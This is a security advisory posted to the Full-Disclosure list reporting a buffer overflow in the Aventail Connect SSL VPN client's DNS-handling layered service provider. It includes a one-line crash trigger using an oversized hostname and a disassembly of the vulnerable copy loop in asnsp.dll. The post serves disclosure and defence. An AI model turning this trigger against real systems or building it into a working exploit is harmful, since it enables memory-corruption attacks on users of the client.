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[Full-disclosure] Aventail Connect SSL VPN Client Buffer Overflow

Hello,

Aventail Connect registers a layered service provider to handle DNS queries.
When resolving a hostname the software fails to check string boundaries
properly.
As the lsp intercepts all ws2_32 dns lookups every application performing
these operations is vulnerable.

e.g.

$ ssh $(perl -e 'print "a"x2200')
Segmentation fault (core dumped)

vulnerable copy loop in asnsp.dll:

18B539F2   41                    INC ECX
18B539F3   41                    INC ECX
18B539F4   66:85D2           TEST DX,DX
18B539F7   74 0A               JE SHORT asnsp.18B53A03
18B539F9   66:8B11           MOV DX,WORD PTR DS:[ECX]
18B539FC   66:8916           MOV WORD PTR DS:[ESI],DX
18B539FF   46                   INC ESI
18B53A00   46                   INC ESI
18B53A01  ^EB EF             JMP SHORT asnsp.18B539F2

This was tested on version 4.1.2.13.
vendor: http://www.aventail.com/

Regards,
Thomas Pollet

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